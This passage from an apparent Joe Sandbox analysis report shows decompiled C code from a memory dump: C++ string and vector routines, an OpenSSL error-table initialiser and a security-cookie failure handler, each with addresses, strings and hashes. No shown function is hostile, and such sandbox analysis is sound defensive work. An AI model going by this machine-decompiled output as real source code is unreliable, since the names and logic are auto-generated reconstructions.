						_t200 =  <  ? _v12 : _a20;
						_t194 = _t128 - _a8;
						_v12 = _t194;
						_t195 = _a12;
						_a20 = _t200;
						if((_t128 | 0xffffffff) - _t200 <= _t194) {
							_push("string too long");
							E0044F23E(__eflags);
							goto L86;
						} else {
							_t134 = _a8;
							_t246 = _v12 + _t200;
							_v8 = _v8 - _t134;
							_v12 = _t246;
							_t247 = _a4;
							if( *(__ecx + 0x10) < _t246) {
								E00415D50(_t195, __ecx, _t247, __ecx, _v12, 0);
								_t200 = _a20;
								_t226 = _a16;
								_t134 = _a8;
							}
							if(_t251 == _t195) {
								_t196 = _a20;
								__eflags = _t196 - _t134;
								if(_t196 > _t134) {
									__eflags = _t226 - _t247;
									if(_t226 > _t247) {
										_t203 = _t247 + _t134;
										_a4 = _t203;
										__eflags = _t203 - _t226;
										if(_t203 > _t226) {
											_t204 =  *((intOrPtr*)(_t251 + 0x14));
											__eflags = _t204 - 8;
											if(_t204 < 8) {
												_a12 = _t251;
											} else {
												_a12 =  *_t251;
												_t196 = _a20;
											}
											__eflags = _t204 - 8;
											if(_t204 < 8) {
												_t205 = _t251;
											} else {
												_t205 =  *_t251;
											}
											E0040B600(_t205 + _t247 * 2, _a12 + _t226 * 2, _t134);
											_t207 =  *((intOrPtr*)(_t251 + 0x14));
											__eflags = _t207 - 8;
											if(_t207 < 8) {
												_t137 = _t251;
											} else {
												_t137 =  *_t251;
											}
											__eflags = _t207 - 8;
											if(_t207 < 8) {
												_t208 = _t251;
											} else {
												_t208 =  *_t251;
											}
											_a20 = _a4 + _a4;
											E0040B600(_t208 + (_t247 + _t196) * 2, _a4 + _a4 + _t137, _v8);
											_t140 =  *((intOrPtr*)(_t251 + 0x14));
											__eflags = _t140 - 8;
											if(_t140 < 8) {
												_t231 = _t251;
											} else {
												_t231 =  *_t251;
											}
											__eflags = _t140 - 8;
											if(_t140 < 8) {
												_t210 = _t251;
											} else {
												_t210 =  *_t251;
											}
											_push(_t196 - _a8);
											_t144 = _a16 + _t196;
											_t211 = _t210 + _a20;
											__eflags = _t210 + _a20;
										} else {
											_t149 =  *((intOrPtr*)(_t251 + 0x14));
											__eflags = _t149 - 8;
											if(_t149 < 8) {
												_t235 = _t251;
											} else {
												_t235 =  *_t251;
											}
											__eflags = _t149 - 8;
											if(_t149 < 8) {
												_t213 = _t251;
											} else {
												_t213 =  *_t251;
											}
											E0040B600(_t213 + (_t247 + _t196) * 2, _t235 + _a4 * 2, _v8);
											_t153 =  *((intOrPtr*)(_t251 + 0x14));
											__eflags = _t153 - 8;
											if(_t153 < 8) {
												_t231 = _t251;
											} else {
												_t231 =  *_t251;
											}
											__eflags = _t153 - 8;
											if(_t153 < 8) {
												_push(_t196);
												_t144 = _a16 - _a8 + _t196;
												_t211 = _t251 + _t247 * 2;
											} else {
												_push(_t196);
												_t144 = _a16 - _a8 + _t196;
												_t211 =  *_t251 + _t247 * 2;
											}
										}
									} else {
										_t158 =  *((intOrPtr*)(_t251 + 0x14));
										__eflags = _t158 - 8;
										if(_t158 < 8) {
											_t237 = _t251;
										} else {
											_t237 =  *_t251;
										}
										__eflags = _t158 - 8;
										if(_t158 < 8) {
											_t217 = _t251;
										} else {
											_t217 =  *_t251;
										}
										E0040B600(_t217 + (_t247 + _t196) * 2, _t237 + (_a8 + _t247) * 2, _v8);
										_t163 =  *((intOrPtr*)(_t251 + 0x14));
										__eflags = _t163 - 8;
										if(_t163 < 8) {
											_t231 = _t251;
										} else {
											_t231 =  *_t251;
										}
										__eflags = _t163 - 8;
										if(_t163 < 8) {
											_t144 = _a16;
											_push(_t196);
											_t211 = _t251 + _t247 * 2;
										} else {
											_t144 = _a16;
											_push(_t196);
											_t211 =  *_t251 + _t247 * 2;
										}
									}
									_t232 = _t231 + _t144 * 2;
								} else {
									_t164 =  *((intOrPtr*)(_t251 + 0x14));
									__eflags = _t164 - 8;
									if(_t164 < 8) {
										_t221 = _t251;
									} else {
										_t221 =  *_t251;
									}
									__eflags = _t164 - 8;
									if(_t164 < 8) {
										_t165 = _t251;
									} else {
										_t165 =  *_t251;
									}
									E0040B600(_t165 + _t247 * 2, _t221 + _t226 * 2, _t196);
									_t167 =  *((intOrPtr*)(_t251 + 0x14));
									__eflags = _t167 - 8;
									if(_t167 < 8) {
										_t240 = _t251;
									} else {
										_t240 =  *_t251;
									}
									__eflags = _t167 - 8;
									if(_t167 < 8) {
										_t223 = _t251;
									} else {
										_t223 =  *_t251;
									}
									_push(_v8);
									_t232 = _t240 + (_a8 + _t247) * 2;
									_t211 = _t223 + (_t247 + _t196) * 2;
								}
								E0040B600(_t211, _t232);
							} else {
								_t171 =  *((intOrPtr*)(_t251 + 0x14));
								if(_t171 < 8) {
									_a4 = _t251;
								} else {
									_a4 =  *_t251;
								}
								if(_t171 < 8) {
									_t241 = _t251;
								} else {
									_t241 =  *_t251;
								}
								_t172 = _v8;
								if(_v8 != 0) {
									E004205A0(_t241 + (_t247 + _t200) * 2, _a4 + (_a8 + _t247) * 2, _t172 + _t172);
									_t195 = _a12;
									_t259 = _t259 + 0xc;
								}
								if( *((intOrPtr*)(_t195 + 0x14)) >= 8) {
									_t195 =  *_t195;
								}
								if( *((intOrPtr*)(_t251 + 0x14)) < 8) {
									_t224 = _t251;
								} else {
									_t224 =  *_t251;
								}
								_t173 = _a20;
								if(_a20 != 0) {
									E0042D8D0(_t224 + _t247 * 2, _t195 + _a16 * 2, _t173 + _t173);
								}
							}
							_t212 = _v12;
							 *(_t251 + 0x10) = _t212;
							if( *((intOrPtr*)(_t251 + 0x14)) < 8) {
								_t146 = _t251;
								__eflags = 0;
								 *((short*)(_t146 + _t212 * 2)) = 0;
								return _t146;
							} else {
								 *((short*)( *_t251 + _t212 * 2)) = 0;
								return _t251;
							}
						}
					}
				}
			}

0x00414920
0x00414923
0x00414927
0x0041492a
0x0041492d
0x00414932
0x00414c3d
0x00414c3d
0x00414c42
0x00414c47
0x00414c48
0x00414c49
0x00414c4a
0x00414c4b
0x00414c4c
0x00414c4d
0x00414c4e
0x00414c4f
0x00414c53
0x00414938
0x00414938
0x0041493f
0x00414944
0x00000000
0x0041494a
0x0041494e
0x00414951
0x00414957
0x0041495d
0x00414966
0x0041496b
0x00414972
0x00414977
0x0041497c
0x0041497f
0x00414982
0x00414c33
0x00414c38
0x00000000
0x00414988
0x0041498b
0x0041498e
0x00414990
0x00414996
0x00414999
0x0041499c
0x004149a5
0x004149aa
0x004149ad
0x004149b0
0x004149b0
0x004149b5
0x00414a36
0x00414a39
0x00414a3b
0x00414a94
0x00414a96
0x00414af9
0x00414afc
0x00414aff
0x00414b01
0x00414b6c
0x00414b6f
0x00414b72
0x00414b7e
0x00414b74
0x00414b76
0x00414b79
0x00414b79
0x00414b81
0x00414b84
0x00414b8a
0x00414b86
0x00414b86
0x00414b86
0x00414b96
0x00414b9b
0x00414ba1
0x00414ba4
0x00414baa
0x00414ba6
0x00414ba6
0x00414ba6
0x00414bac
0x00414baf
0x00414bb5
0x00414bb1
0x00414bb1
0x00414bb1
0x00414bbf
0x00414bca
0x00414bcf
0x00414bd5
0x00414bd8
0x00414bde
0x00414bda
0x00414bda
0x00414bda
0x00414be0
0x00414be3
0x00414be9
0x00414be5
0x00414be5
0x00414be5
0x00414bf0
0x00414bf4
0x00414bf6
0x00414bf6
0x00414b03
0x00414b03
0x00414b06
0x00414b09
0x00414b0f
0x00414b0b
0x00414b0b
0x00414b0b
0x00414b11
0x00414b14
0x00414b1a
0x00414b16
0x00414b16
0x00414b16
0x00414b2b
0x00414b30
0x00414b36
0x00414b39
0x00414b3f
0x00414b3b
0x00414b3b
0x00414b3b
0x00414b41
0x00414b44
0x00414b61
0x00414b62
0x00414b64
0x00414b46
0x00414b4e
0x00414b4f
0x00414b51
0x00414b51
0x00414b44
0x00414a98
0x00414a98
0x00414a9b
0x00414a9e
0x00414aa4
0x00414aa0
0x00414aa0
0x00414aa0
0x00414aa6
0x00414aa9
0x00414aaf
0x00414aab
0x00414aab
0x00414aab
0x00414ac2
0x00414ac7
0x00414acd
0x00414ad0
0x00414ad6
0x00414ad2
0x00414ad2
0x00414ad2
0x00414ad8
0x00414adb
0x00414aeb
0x00414af0
0x00414af1
0x00414add
0x00414adf
0x00414ae2
0x00414ae3
0x00414ae3
0x00414adb
0x00414bf9
0x00414a3d
0x00414a3d
0x00414a40
0x00414a43
0x00414a49
0x00414a45
0x00414a45
0x00414a45
0x00414a4b
0x00414a4e
0x00414a54
0x00414a50
0x00414a50
0x00414a50
0x00414a5d
0x00414a62
0x00414a68
0x00414a6b
0x00414a71
0x00414a6d
0x00414a6d
0x00414a6d
0x00414a73
0x00414a76
0x00414a7c
0x00414a78
0x00414a78
0x00414a78
0x00414a81
0x00414a86
0x00414a8c
0x00414a8c
0x00414bfc
0x004149b7
0x004149b7
0x004149bd
0x004149c6
0x004149bf
0x004149c1
0x004149c1
0x004149cc
0x004149d2
0x004149ce
0x004149ce
0x004149ce
0x004149d4
0x004149d9
0x004149f1
0x004149f6
0x004149f9
0x004149f9
0x00414a00
0x00414a02
0x00414a02
0x00414a08
0x00414a0e
0x00414a0a
0x00414a0a
0x00414a0a
0x00414a10
0x00414a15
0x00414a29
0x00414a2e
0x00414a15
0x00414c08
0x00414c0b
0x00414c0f
0x00414c23
0x00414c25
0x00414c29
0x00414c30
0x00414c11
0x00414c16
0x00414c20
0x00414c20
0x00414c0f
0x00414982
0x00414944

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00417D50(signed int __ebx, intOrPtr* __ecx, signed int _a4, signed int _a8, intOrPtr* _a12, signed int _a16) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v20;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t64;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t76;
				intOrPtr _t82;
				intOrPtr _t88;
				intOrPtr* _t96;
				intOrPtr* _t99;
				signed int _t101;
				intOrPtr _t102;
				signed int _t105;
				signed int _t109;
				signed int _t113;
				intOrPtr _t118;
				intOrPtr* _t120;
				void* _t122;
				signed int _t123;
				intOrPtr* _t124;
				intOrPtr* _t125;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr _t131;
				void* _t132;
				intOrPtr* _t142;
				signed int _t144;
				void* _t151;

				_t101 = __ebx;
				_t130 = _a12;
				_t142 = __ecx;
				if(_t130 == 0) {
					L13:
					_t64 =  *(_t142 + 0x10);
					_t109 = _a4;
					__eflags = _t64 - _t109;
					if(__eflags < 0) {
						_push("invalid string position");
						E0044F26C(__eflags);
						goto L44;
					} else {
						_t122 = _t64 - _t109;
						_t109 = _a16;
						_push(_t101);
						_t105 = _a8;
						__eflags = _t122 - _t105;
						_t101 =  <  ? _t122 : _t105;
						_t73 = _t64 - _t101;
						_a8 = _t73;
						__eflags = (_t73 | 0xffffffff) - _t109 - _a8;
						if(__eflags <= 0) {
							L44:
							_push("string too long");
							E0044F23E(__eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t101);
							_push(_t142);
							_push(_t130);
							_t131 = _v20;
							__eflags =  *((intOrPtr*)(_t109 + 0x10)) - _t131;
							_t132 =  <  ?  *((void*)(_t109 + 0x10)) : _t131;
							__eflags =  *((intOrPtr*)(_t109 + 0x14)) - 8;
							if( *((intOrPtr*)(_t109 + 0x14)) >= 8) {
								_t109 =  *_t109;
							}
							_t102 = _a12;
							__eflags = _t132 - _t102;
							_t144 =  <  ? _t132 : _t102;
							__eflags = _t144;
							if(_t144 == 0) {
								L51:
								_t67 = 0;
								__eflags = 0;
							} else {
								_t120 = _a8;
								while(1) {
									__eflags =  *_t109 -  *_t120;
									if( *_t109 !=  *_t120) {
										break;
									}
									_t109 = _t109 + 2;
									_t120 = _t120 + 2;
									_t144 = _t144 - 1;
									__eflags = _t144;
									if(_t144 != 0) {
										continue;
									} else {
										goto L51;
									}
									goto L52;
								}
								_t71 =  *_t109 & 0x0000ffff;
								__eflags = _t71 -  *_t120;
								asm("sbb eax, eax");
								_t67 = (_t71 & 0xfffffffe) + 1;
							}
							L52:
							__eflags = _t67;
							if(_t67 != 0) {
								L57:
								return _t67;
							} else {
								__eflags = _t132 - _t102;
								if(_t132 >= _t102) {
									__eflags = _t132 - _t102;
									_t63 = _t132 != _t102;
									__eflags = _t63;
									_t67 = 0 | _t63;
									goto L57;
								} else {
									_t69 = _t67 | 0xffffffff;
									__eflags = _t69;
									return _t69;
								}
							}
						} else {
							_t123 = _t122 - _t101;
							_v12 = _t123;
							__eflags = _t109 - _t101;
							if(_t109 < _t101) {
								_t88 =  *((intOrPtr*)(_t142 + 0x14));
								__eflags = _t88 - 8;
								if(_t88 < 8) {
									_a8 = _t142;
								} else {
									_a8 =  *_t142;
									_t130 = _a12;
								}
								__eflags = _t88 - 8;
								if(_t88 < 8) {
									_v8 = _t142;
								} else {
									_v8 =  *_t142;
								}
								__eflags = _t123;
								if(_t123 != 0) {
									E004205A0(_v8 + (_a4 + _t109) * 2, _a8 + (_a4 + _t101) * 2, _t123 + _t123);
									_t130 = _a12;
									_t151 = _t151 + 0xc;
									_t109 = _a16;
								}
							}
							__eflags = _t109;
							if(_t109 != 0) {
								L26:
								_a8 = _t109 - _t101 +  *(_t142 + 0x10);
								_t76 = E00415D50(_t101, _t142, _t130, _t142, _t109 - _t101 +  *(_t142 + 0x10), 0);
								__eflags = _t76;
								if(_t76 != 0) {
									_t113 = _a16;
									__eflags = _t101 - _t113;
									if(_t101 >= _t113) {
										_t107 = _a4;
									} else {
										_t82 =  *((intOrPtr*)(_t142 + 0x14));
										__eflags = _t82 - 8;
										if(_t82 < 8) {
											_t125 = _t142;
										} else {
											_t125 =  *_t142;
										}
										__eflags = _t82 - 8;
										if(_t82 < 8) {
											_a12 = _t142;
										} else {
											_a12 =  *_t142;
										}
										_t107 = _a4;
										E0040B600(_a12 + (_a4 + _t113) * 2, _t125 + (_a4 + _t101) * 2, _v12);
										_t113 = _a16;
										_t151 = _t151 + 4;
									}
									__eflags =  *((intOrPtr*)(_t142 + 0x14)) - 8;
									if( *((intOrPtr*)(_t142 + 0x14)) < 8) {
										_t124 = _t142;
									} else {
										_t124 =  *_t142;
									}
									__eflags = _t113;
									if(_t113 != 0) {
										E0042D8D0(_t124 + _t107 * 2, _t130, _t113 + _t113);
									}
									E00414DF0(_t142, _a8);
								}
							} else {
								__eflags = _t101;
								if(_t101 != 0) {
									goto L26;
								}
							}
							return _t142;
						}
					}
				} else {
					_t118 =  *((intOrPtr*)(__ecx + 0x14));
					if(_t118 < 8) {
						_t96 = __ecx;
					} else {
						_t96 =  *__ecx;
					}
					if(_t130 < _t96) {
						goto L13;
					} else {
						if(_t118 < 8) {
							_t128 = _t142;
						} else {
							_t128 =  *_t142;
						}
						if(_t128 +  *(_t142 + 0x10) * 2 <= _t130) {
							goto L13;
						} else {
							if(_t118 < 8) {
								_t99 = _t142;
							} else {
								_t99 =  *_t142;
							}
							return E00414920(_t101, _t142, _t130 - _t99 >> 1, _t142, _a4, _a8, _t142, _t130 - _t99 >> 1, _a16);
						}
					}
				}
			}

0x00417d50
0x00417d58
0x00417d5b
0x00417d5f
0x00417db1
0x00417db1
0x00417db4
0x00417db7
0x00417db9
0x00417edf
0x00417ee4
0x00000000
0x00417dbf
0x00417dc1
0x00417dc3
0x00417dc6
0x00417dc7
0x00417dca
0x00417dcc
0x00417dcf
0x00417dd1
0x00417dd9
0x00417ddc
0x00417ee9
0x00417ee9
0x00417eee
0x00417ef3
0x00417ef4
0x00417ef5
0x00417ef6
0x00417ef7
0x00417ef8
0x00417ef9
0x00417efa
0x00417efb
0x00417efc
0x00417efd
0x00417efe
0x00417eff
0x00417f03
0x00417f04
0x00417f05
0x00417f06
0x00417f09
0x00417f0c
0x00417f10
0x00417f14
0x00417f16
0x00417f16
0x00417f18
0x00417f1b
0x00417f1f
0x00417f22
0x00417f24
0x00417f41
0x00417f41
0x00417f41
0x00417f26
0x00417f26
0x00417f30
0x00417f33
0x00417f36
0x00000000
0x00000000
0x00417f38
0x00417f3b
0x00417f3e
0x00417f3e
0x00417f3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00417f3f
0x00417f55
0x00417f58
0x00417f5b
0x00417f60
0x00417f60
0x00417f43
0x00417f43
0x00417f45
0x00417f6a
0x00417f6e
0x00417f47
0x00417f47
0x00417f49
0x00417f65
0x00417f67
0x00417f67
0x00417f67
0x00000000
0x00417f4b
0x00417f4d
0x00417f4d
0x00417f52
0x00417f52
0x00417f49
0x00417de2
0x00417de2
0x00417de4
0x00417de7
0x00417de9
0x00417deb
0x00417dee
0x00417df1
0x00417dfd
0x00417df3
0x00417df5
0x00417df8
0x00417df8
0x00417e00
0x00417e03
0x00417e0c
0x00417e05
0x00417e07
0x00417e07
0x00417e0f
0x00417e11
0x00417e2e
0x00417e33
0x00417e36
0x00417e39
0x00417e39
0x00417e11
0x00417e3c
0x00417e3e
0x00417e48
0x00417e4f
0x00417e55
0x00417e5a
0x00417e5c
0x00417e5e
0x00417e61
0x00417e63
0x00417ea6
0x00417e65
0x00417e65
0x00417e68
0x00417e6b
0x00417e71
0x00417e6d
0x00417e6d
0x00417e6d
0x00417e73
0x00417e76
0x00417e7f
0x00417e78
0x00417e7a
0x00417e7a
0x00417e8a
0x00417e99
0x00417e9e
0x00417ea1
0x00417ea1
0x00417ea9
0x00417ead
0x00417eb3
0x00417eaf
0x00417eaf
0x00417eaf
0x00417eb5
0x00417eb7
0x00417ec2
0x00417ec7
0x00417ecf
0x00417ecf
0x00417e40
0x00417e40
0x00417e42
0x00000000
0x00000000
0x00417e42
0x00417edc
0x00417edc
0x00417ddc
0x00417d61
0x00417d61
0x00417d67
0x00417d6d
0x00417d69
0x00417d69
0x00417d69
0x00417d71
0x00000000
0x00417d73
0x00417d76
0x00417d7c
0x00417d78
0x00417d78
0x00417d78
0x00417d86
0x00000000
0x00417d88
0x00417d8b
0x00417d91
0x00417d8d
0x00417d8d
0x00417d8d
0x00417dae
0x00417dae
0x00417d86
0x00417d71

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004516A0(void* __ebx, void* __edi) {
				char* _t6;
				intOrPtr _t12;
				void* _t14;
				char* _t16;
				char** _t19;
				void* _t21;
				void* _t22;
				void* _t23;

				E004547A0(_t14, __edi, 5, 1, ".\\crypto\\err\\err.c", 0x244);
				_t22 = _t21 + 0x10;
				if( *0x50b6d4 != 0) {
					E004547A0(_t14, __edi, 6, 1, ".\\crypto\\err\\err.c", 0x24b);
					E004547A0(_t14, __edi, 9, 1, ".\\crypto\\err\\err.c", 0x24c);
					_t23 = _t22 + 0x20;
					__eflags =  *0x50b6d4;
					if( *0x50b6d4 != 0) {
						_push(__ebx);
						_push(__edi);
						_t12 = 1;
						_t16 = 0x5117e0;
						_t19 = 0x5113e4;
						do {
							__eflags =  *_t19;
							 *((intOrPtr*)(_t19 - 4)) = _t12;
							if(__eflags == 0) {
								_push(_t12);
								_t6 = E004C5D39(_t12, _t14, __eflags);
								_t23 = _t23 + 4;
								__eflags = _t6;
								if(_t6 != 0) {
									E004C5E00(_t16, _t6, 0x20);
									_t23 = _t23 + 0xc;
									_t16[0x1f] = 0;
									 *_t19 = _t16;
								}
								__eflags =  *_t19;
								if( *_t19 == 0) {
									 *_t19 = "unknown";
								}
							}
							_t19 =  &(_t19[2]);
							_t12 = _t12 + 1;
							_t16 =  &(_t16[0x20]);
							__eflags = _t19 - 0x5117d4;
						} while (_t19 <= 0x5117d4);
						 *0x50b6d4 = 0;
						return E004547A0(_t14, _t16, 0xa, 1, ".\\crypto\\err\\err.c", 0x26c);
					} else {
						return E004547A0(_t14, __edi, 0xa, 1, ".\\crypto\\err\\err.c", 0x24f);
					}
				} else {
					return E004547A0(_t14, __edi, 6, 1, ".\\crypto\\err\\err.c", 0x247);
				}
			}

0x004516ae
0x004516b3
0x004516bd
0x004516e4
0x004516f7
0x004516fc
0x004516ff
0x00451706
0x0045171f
0x00451721
0x00451722
0x00451727
0x0045172c
0x00451731
0x00451731
0x00451734
0x00451737
0x00451739
0x0045173a
0x0045173f
0x00451742
0x00451744
0x0045174a
0x0045174f
0x00451752
0x00451756
0x00451756
0x00451758
0x0045175b
0x0045175d
0x0045175d
0x0045175b
0x00451763
0x00451766
0x00451767
0x0045176a
0x0045176a
0x00451780
0x00451795
0x00451708
0x0045171e
0x0045171e
0x004516bf
0x004516d5
0x004516d5

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E0042A77E(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v808;
				int _t9;
				intOrPtr _t14;
				signed int _t15;
				signed int _t17;
				signed int _t19;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr* _t30;
				intOrPtr* _t32;
				void* _t35;

				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t35 = _t23 -  *0x50ad20; // 0xd964a3b
				if(_t35 == 0) {
					asm("repe ret");
				}
				_t30 = _t32;
				_t9 = IsProcessorFeaturePresent(0x17);
				if(_t9 != 0) {
					_t23 = 2;
					asm("int 0x29");
				}
				 *0x510e38 = _t9;
				 *0x510e34 = _t23;
				 *0x510e30 = _t26;
				 *0x510e2c = _t22;
				 *0x510e28 = _t28;
				 *0x510e24 = _t27;
				 *0x510e50 = ss;
				 *0x510e44 = cs;
				 *0x510e20 = ds;
				 *0x510e1c = es;
				 *0x510e18 = fs;
				 *0x510e14 = gs;
				asm("pushfd");
				_pop( *0x510e48);
				 *0x510e3c =  *_t30;
				 *0x510e40 = _v0;
				 *0x510e4c =  &_a4;
				 *0x510d88 = 0x10001;
				_t14 =  *0x510e40; // 0x0
				 *0x510d44 = _t14;
				 *0x510d38 = 0xc0000409;
				 *0x510d3c = 1;
				 *0x510d48 = 1;
				_t15 = 4;
				 *((intOrPtr*)(0x510d4c + _t15 * 0)) = 2;
				_t17 = 4;
				_t24 =  *0x50ad20; // 0xd964a3b
				 *((intOrPtr*)(_t30 + _t17 * 0 - 8)) = _t24;
				_t19 = 4;
				_t25 =  *0x50ad24; // 0xf269b5c4
				 *((intOrPtr*)(_t30 + (_t19 << 0) - 8)) = _t25;
				return E0042AB4B(_t19 << 0, "8\rQ");
			}

0x0042a77e
0x0042a77e
0x0042a77e
0x0042a77e
0x0042a77e
0x0042a77e
0x0042a784
0x0042a786
0x0042a786
0x0042ab89
0x0042ab93
0x0042ab9a
0x0042ab9e
0x0042ab9f
0x0042ab9f
0x0042aba1
0x0042aba6
0x0042abac
0x0042abb2
0x0042abb8
0x0042abbe
0x0042abc4
0x0042abcb
0x0042abd2
0x0042abd9
0x0042abe0
0x0042abe7
0x0042abee
0x0042abef
0x0042abf8
0x0042ac00
0x0042ac08
0x0042ac13
0x0042ac1d
0x0042ac22
0x0042ac27
0x0042ac31
0x0042ac3b
0x0042ac47
0x0042ac4b
0x0042ac57
0x0042ac5b
0x0042ac61
0x0042ac67
0x0042ac6b
0x0042ac71
0x0042ac82

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00413C40(void* __ebx, intOrPtr* __ecx, void* __edi, intOrPtr _a4) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t20;
				intOrPtr _t22;
				intOrPtr* _t25;
				intOrPtr* _t27;
				void* _t32;

				_t18 = __ecx;
				_t25 = __ecx;
				_push(__edi);
				_t22 = _a4;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				if(_t22 == 0) {
					L4:
					return _t25;
				} else {
					_t36 = _t22 - 0xffffffff;
					if(_t22 > 0xffffffff) {
						_push("vector<T> too long");
						E0044F23E(__eflags);
						goto L6;
					} else {
						_t15 = E00423B4C(__ebx, _t20, _t22, _t36, _t22);
						_t32 = _t32 + 4;
						if(_t15 == 0) {
							L6:
							E0044F1BB(__eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t25);
							_t27 = _t18;
							_t14 =  *_t27;
							__eflags = _t14;
							if(_t14 != 0) {
								_t14 = L00422587(_t14);
								 *_t27 = 0;
								 *((intOrPtr*)(_t27 + 4)) = 0;
								 *((intOrPtr*)(_t27 + 8)) = 0;
							}
							return _t14;
						} else {
